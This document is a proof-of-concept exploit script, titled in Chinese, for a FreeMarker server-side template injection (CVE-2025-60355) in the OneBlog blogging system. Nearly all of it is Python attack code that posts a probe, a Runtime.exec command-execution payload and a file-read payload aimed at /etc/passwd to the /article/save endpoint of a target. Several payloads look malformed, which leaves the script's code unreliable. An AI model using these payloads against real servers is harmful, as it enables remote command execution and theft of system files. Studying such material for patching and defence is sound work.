CVE-2025-60355 zhangyd-c OneBlog FreeMarker模板注入漏洞

# CVE-2025-60355 FreeMarker SSTI PoC # Target: zhangyd-c OneBlog <= v2.3.9 import requests import sys TARGET_URL = "http://target.com" # Replace with actual target URL # SSTI payload to execute system command # Read /etc/passwd file read_file_payload = "${.getClass().forName('java.io.BufferedReader').newInstance().readLines()}" # Execute system command # Modify the command as needed cmd_exec_payload = "${.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}" # Basic PoC - Check if template engine is processing expressions basic_payload = "${7*7}" def test_ssti(url, payload): """Test for SSTI vulnerability""" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } # Common injection points in blog systems # Modify the data dict based on actual application parameters data = { 'content': payload, # Blog post content 'title': payload, # Blog post title 'author': payload, # Author name } try: response = requests.post(url, data=data, headers=headers, timeout=10, verify=False) print(f"[*] Payload sent: {payload}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def main(): if len(sys.argv) > 1: target = sys.argv[1] else: target = TARGET_URL print(f"[*] Testing CVE-2025-60355 on {target}") print("[*] Testing basic SSTI...") test_ssti(f"{target}/article/save", basic_payload) print("[*] Testing command execution...") test_ssti(f"{target}/article/save", cmd_exec_payload) print("[*] Testing file read...") test_ssti(f"{target}/article/save", read_file_payload) if __name__ == "__main__": main()